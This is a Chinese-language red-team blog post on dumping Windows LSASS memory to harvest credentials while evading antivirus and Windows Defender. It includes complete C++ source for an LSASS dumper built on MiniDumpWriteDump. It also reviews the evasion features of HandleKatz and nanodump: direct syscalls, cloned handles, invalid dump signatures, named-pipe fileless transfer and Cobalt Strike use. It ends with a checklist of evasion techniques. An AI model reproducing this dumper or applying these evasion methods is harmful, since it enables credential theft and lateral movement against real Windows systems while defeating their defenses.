前言

       dump lsass 进程是我们永远都逃不过话题,除非微软那天不用它保存凭据了,自然而然就不dump 它了,抓密码是渗透重要的环节,是横向扩展的基础,接下来讲讲见到如何绕过杀软dump lsass内存。

1.Procdump

老牌工具,这玩意,现在也不咋行了,虽然数字签名,但是人家杀软也不傻,虽然不敢杀你,删你文件,但是拦截你行为,是可以的

测试为windows denfender,不杀但是会拦。

这工具好像是调用MiniDumpWriteDump api来dump内存的,自己都可以用c++实现个

#include "stdafx.h"#include <windows.h>#include <DbgHelp.h>#include <iostream>#include <TlHelp32.h>using namespace std;
int main() {  DWORD lsassPID = 0;  HANDLE lsassHandle = NULL;   HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);  HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);  PROCESSENTRY32 processEntry = {};  processEntry.dwSize = sizeof(PROCESSENTRY32);  LPCWSTR processName = L"";  if (Process32First(snapshot, &processEntry)) {    while (_wcsicmp(processName, L"lsass.exe") != 0) {      Process32Next(snapshot, &processEntry);      processName = processEntry.szExeFile;      lsassPID = processEntry.th32ProcessID;    }    wcout << "[+]---Got lsass.exe PID: " << lsassPID << endl;  }  lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);  BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);  if (isDumped) {    cout << "[+]---lsass dumped successfully!" << endl;  }    return 0;}

会调用dbghelp.dll 文件,所以需要给依赖

2.HandleKatz

github:https://github.com/codewhitesec/HandleKatz

这是Brucon2021会议提到的使用Lsass的克隆句来创建相同的混淆内存转储的一个实现,绕过windows defender dump lsass内存,但是现在应该不行了,但是国内的还是随便过的。

这个项目的特点是:

  1. 使用的是克隆lsass具柄,所以在 Lsass 上无法观察到 ProcessAccess事件。
  2. 系统调用将混淆转储写入磁盘
  3. 直接把功能转换成shellcode,拿来就能用

我觉得不好的地方就是他的加载器还是逃不过分配内存的短板,这个点我们可以改改,而且很容易改,比如不分配内存,直接放在.text段,就看大家怎么玩了

其实可以看看项目源码,特别有趣!!!,直接把实现dump lsass内存的shellcode进行bash64编码放在头文件的

现在作者学精了,把自己那段提取出来的shellcode base64给删了,之前这里都还有的,只有自己去提取了。

我最喜欢的亮点就是直接把核心的那段转换成shellcode,然后保存在程序的.text,然后通过函数的回调的方式执行并传递参数,精彩!!!!!

测试:

这是我虚拟机测试结果,居然成了,不可能,windows denfender 肯定是坏了!因为我很早就测过,dump不下来,进程被守护了,直接上真实物理机杀软,一直在更新。

物理数字杀软就没反应了,我就说嘛,咋今天又行了,随便把今天重点讲的项目nanodump给测了,结果是无压力过了,顺利dump出lsass内存

可以看到HandleKatz现在克隆句柄的操作都不行了,我记得之前还可以克隆具柄来着,但是dump lsass内存dump不下来,应该是被守护进程保护了,绕不过。

3.nanodump

这也是github上面的项目,很热乎,刚提交不交,被我无意间发现了,这就是个宝藏。

github 项目https://github.com/helpsystems/nanodump

这个项目的特点:

  • 使用系统调用(使用SysWhispers2)进行大多数操作
  • 可以选择在不接触磁盘的情况下下载转储或将其写入文件
  • 默认情况下,小型转储具有无效签名以避免检测
  • 通过忽略不相关的 DLL 来减小转储的大小,转储的大小往往在 10 MB 左右
  • 不需要提供 LSASS 的 PID(默认是不提供的)
  • 不调用dbghelp或任何其他库,所有转储逻辑都在 nanodump 中实现
  • 可以使用 .exe 版本在 Cobalt Strike 之外运行nanodumpz

值得一提的是,这个项目能过windows defender 进行dump lsass内存,且只把相关的内容给dump下来,非常的香!!!支持cs脚本使用,且是通过命名管道传输,不接触磁盘。

值得注意的是:

文件小是因为忽略lsass中的大部分内容并仅保留与 mimikatz 相关的那些,例如 kerberos.dll 和 wdigest.dll

编译就不说了,一个命令搞定,不能就两个。

本地测试:

cs上面测试,当然你首先得对抗windows denfender 上线:

用自带的脚本解密:

读取dmp文件

总结

       在攻防对抗中,杀软在不断学习进步,弥补自身的短板缺点,免杀技术在不断的更新,也是不断的为杀软提供规则库,免杀越来越艰难,是我们变弱了吗?我觉得是杀软变强了,每天都吸收了成百上千的样本的特征,规则在不断完善,检测体系在不断的完善。

       可以看到在dump lsass内存的手法上免杀成功总结大概几点:

  1. 系统调用实现大部分功能
  2. 混淆内容
  3. 使用命名管道传输结果,实现无文件
  4. 不再调用dbghelp库文件
  5. 小型转储,无明显特征

       热爱免杀,热爱对抗。